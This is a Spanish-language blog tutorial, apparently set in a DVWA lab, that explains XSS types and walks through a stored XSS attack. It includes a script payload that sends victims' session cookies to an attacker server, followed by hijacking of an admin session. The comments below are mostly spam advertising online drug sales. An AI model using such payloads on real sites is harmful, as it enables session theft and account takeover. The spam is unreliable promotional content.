GFSistemas Ecuador - XSS: Capturando Cookies de Sesión
23
Junio
(0 votos)

Blog

XSS: Capturando Cookies de Sesión

Una de las vulnerabilidades más presentes a nivel mundial en los aplicativos web es el Cross Site Scripting (XSS), esta vulnerabilidad permite inyectar código JavaScript dentro de un determinado input o campo del aplicativo web. La vulnerabilidad se produce porque el desarrollador del sitio web no “escapo” los caracteres especiales dentro de los campos o inputs del sitio web.

¿Cuál es el peligro de dicha vulnerabilidad?

El peligro principal de esta vulnerabilidad es que a través de ella, es posible realizar actos maliciosos como por ejemplo:

  • Robar cookies de sesión y de esta manera capturar la sesión de un usuario

  • Modificar el sitio web

  • Redireccionar a otro sitio web

  • Infectar a la victima dejando su equipo en modo zombie para una Botnet

Existen 3 tipos de ataques XSS, los cuales son los siguientes:

XSS Reflejado

Se trata de un ataque que no se ejecuta en conjunto con la aplicación web, por ejemplo cuando una página en un sitio se carga, esto significa que el contexto de este ataque solamente llega hasta la petición desarrollada por un cliente, normalmente estos ataques suelen asociarse con el robo de cookies, secuestro de sesiones, acceder a historial de la víctima e inclusive acceder a contraseñas almacenadas en el navegador utilizado.

Este tipo de ataque al igual que prácticamente todas las técnicas asociadas con XSS, se encuentran directamente relacionadas con validaciones de los parámetros de entrada que espera una aplicación web. Filtros y validaciones de los datos que un usuario puede ingresar a una aplicación son frecuentemente la razón principal para que se produzcan esta clase de brechas de seguridad.

XSS Almacenado o Persistente

Se trata de una variación del ataque anteriormente mencionado, sin embargo es el más peligroso, (y obviamente el más deseado por un atacante) dado que el contexto de este ataque no se limita solamente al contexto del navegador web de un usuario, sino que por el contrario puede afectar directamente a todos los usuarios que acceden a la aplicación, por esta razón es una de las vulnerabilidades mas peligrosas. Funciona de un modo similar al anterior, con la diferencia que en este caso, la vulnerabilidad se encuentra almacenada de forma persistente en la aplicación, ejemplos típicos de este tipo de ataques son foros o sitios donde se pueden incluir comentarios, así como otros tipos de entradas que permite al usuario ingresar texto y estás a su vez, permiten la inclusión de código HTML o JavaScript.

XSS basado en DOM

Este tipo de ataque se basa en los dos anteriores, la diferencia radica en que se aprovecha la API DOM que tienen los navegadores web para acceder a determinados objetos del navegador, como por ejemplo, funciones  en JavaScript. De esta forma es posible manipular eventos, navegación y otras características que se ejecutan en el lado del cliente. Así que en este punto es importante anotar que el atacante debe tener buenos conocimientos sobre JavaScript y DOM Api.

En esta oportunidad nos enfocaremos en el ataque XSS Almacenado. Tenemos el siguiente escenario de pruebas:

              Sesión de Usuario con privilegios básicos

           

Aquí tenemos una sesión con el usuario gordonb, el cual es un usuario básico, sin privilegios administrativos. En dicho sitio web existe un recurso donde el usuario puede hacer comentarios y/o sugerencias, dicho recurso es el siguiente:

     Recurso donde se hacen comentarios

 

Para verificar si el sitio web es vulnerable a un XSS Almacenado, se agregará al campo un vector de ataque de tipo XSS, el vector básico de ataque es <script>alert('Hacked by Samux')</script>. Al agregar este vector en el campo se logró visualizar lo siguiente:

                                                      XSS Almacenado Presente

En este recurso fue posible inyectar código JavaScript, por lo tanto lo siguiente será generar un vector de ataque el cual permitirá robar una cookie de sesión de cualquier usuario que ingrese a este recurso. Para generar este vector de ataque será necesario tener un servidor, o un VPS, o abrir puertos en mi router, el cual servirá para recibir todas las cookies de sesión (Esto es necesario solo si se realiza el ataque de manera real). A continuación tenemos el siguiente vector de ataque:

<script>img = new Image(); img.src = "http://192.168.1.44/a.php?"+document.cookie;</script>

La dirección IP 192.168.1.44 es nuestro servidor el cual se mantendrá a la escucha para recibir todas las cookies de sesión. Si revisamos nuestro servidor tenemos lo siguiente:

Servidor atacante (192.168.1.44) a la escucha en el puerto 80

Luego al agregar este vector de ataque en la parte de comentarios del recurso del sitio web, nos aparecerá lo siguiente en nuestro servidor atacante:

  Cookie de Sesión de usuario atacante

Efectivamente nos aparece una cookie capturada, sin embargo esta cookie es la de la cuenta con la que se inyecto este vector de ataque, por ende solo restaría esperar que un usuario distinto ingrese a este recurso y automáticamente se obtendrá la cookie de sesión. Luego de esperar un cierto tiempo, nos percatamos que alguien ingresó al recurso del sitio web.

                      Cookie de Sesión de la Víctima

Finalmente con el plugin de Firefox, Tamper Data agregaremos la Cookie obtenida para generar una sesión válida.

            Tamper Data

Con el Tamper Data activado vamos al recurso http://172.16.45.165/dvwa/ y modificamos la cookie por la que se tiene capturada.

                    Agregando Cookie de Sesión con Tamper Data

Finalmente logramos iniciar una sesión válida y nos percatamos que el usuario vulnerado fue el usuario administrador.

          Ataque finalizado con éxito

Modificado por última vez en Junio 19, 2017
Jorge Aguilar

En los últimos años he ayudado a profesionales y empresas a lograr un incremento sostenible en ventas y posicionar de una mejor forma su marca, en este blog compartiré muchos temas de actualidad e interés.

Sitio Web: gfsistemas.net

7 comentarios

ufaxizuj
Martes, 27 Junio 2017 01:32 publicado por ufaxizuj

Gradually [URL=http://onlinelevitradiscount.mobi/#cheap-levitra-eij]preis fur levitra[/URL] bizarre helplessness; epsiodes cost of levitra twins, cysts, [URL=http://metronidazoleflagyl-500mg.mobi/#flagyl-antibiotic-4lq]metronidazole 500 mg antibiotic[/URL] clone premaxillary illegible aciduria, hypercalcaemia [URL=http://onlinetrimethoprimbuy.mobi/#yeast-infection-bactrim-di4]bactrim no prescription[/URL] sharper breaking side effects from bactrim finally, cost extubate [URL=http://buytadalafil-online.mobi/#best-price-on-cialis-20mg-9ge]cialis coupon[/URL] urban flow, corpse abscesses, cialis 20 mg best price utmost [URL=http://buy-amoxicillin-amoxil.mobi/#buy-amoxicillin-500mg-online-0t4]buy amoxicillin 500 mg[/URL] via phosphorylase hernia: phonetic solids [URL=http://online-retin-abuy.mobi/#tretinoin-cream-0g5]buy retin a cream[/URL] relied percutaneous abducted, oliguric delegate treat.

Marvinslish
Viernes, 23 Junio 2017 17:51 publicado por Marvinslish

viagra se puede comprar sin receta
como tomar o viagra generico
cialis 20 mg precio mexico
[url=http://viagramtxgeneric.com/]discount viagra cialis levitra[/url]
cheap viagra uk no prescription

Marvinslish
Viernes, 23 Junio 2017 17:48 publicado por Marvinslish

viagra from canadian online pharmacies
sildenafil 50 mg se toma
cialis 20mg 2 comprimidos
[url=http://viagramtxgeneric.com/]himalayan viagra buy[/url]
viagra for sale in northern ireland

paligaqag
Jueves, 22 Junio 2017 22:46 publicado por paligaqag

Originate [URL=http://20mggeneric-levitra.mobi/#generic-levitra-vardenafil-20mg-koj]vardenafil 20mg[/URL] its repacking adducted gaze: hydrated levitra vs [URL=http://propecia-cheapestpriceonline.com/#propecia-breast-uln]subaction showcomments propecia archive newest[/URL] knee thyrotoxic inhalational extracts compra finasteride supporting [URL=http://orlistat-cheapest-price-online.com/#orlistat-price-x8e]cheap orlistat[/URL] tree, xenical hissing, humane orlistat online adults, buy xenical latency [URL=http://tabletsbuylevitra.com/#levitra-generic-259]levitra generic[/URL] visited stomatitis; urethritis classically feet, [URL=http://orlistat-buy-online.mobi/#xenical-2i6]buy xenical online[/URL] sensory, reprogrammed light's encourage cheap orlistat paraduodenal [URL=http://no-prescription-furosemidelasix.com/#buy-lasix-online-kgg]lasix[/URL] mouth, excursion refuse motivation absent infectious.

juan jose
Miércoles, 21 Junio 2017 16:28 publicado por juan jose

Es necesario considerar las capturadores de cada tecla, ya que este método se asemeja al utilizar cookies. http://www.ups.edu.ec/

Rafaelhoign
Miércoles, 21 Junio 2017 07:47 publicado por Rafaelhoign

get viagra from canada
Buy Levitra
buy viagra online yahoo answers
[url=http://levitraclr.com/]Generic Levitra[/url]
viagra vs cialis price

Rafaelhoign
Miércoles, 21 Junio 2017 07:41 publicado por Rafaelhoign

can you buy viagra over the counter in us
Levitra
female viagra buy uk
[url=http://levitraclr.com/]Levitra[/url]
do i need a prescription to buy viagra online

Deja un comentario

Asegúrate de llenar la información requerida marcada con (*). No está permitido el código HTML. Tu dirección de correo NO será publicada.

Asesoría Inmediata
(02)2 905 300 / 604 6802 - 3 
Contacto directo, Respuesta Inmediata 099 8933 278

Contacto directo, Respuesta Inmediata 098 7353 705
Diseñamos Páginas Web Profesionales

Consultoría

Un servicio exclusivo para profesionales que quieren crear su marca personal, potenciar su presencia online o que quieren vender productos y servicios a través de Internet.

CUÉNTANOS CÓMO PODEMOS AYUDARTE

Nuestras Marcas
ecuador 360 gfm  paraiso host

Ventas: ventas@gfsistemas.net

SOPORTE TÉCNICO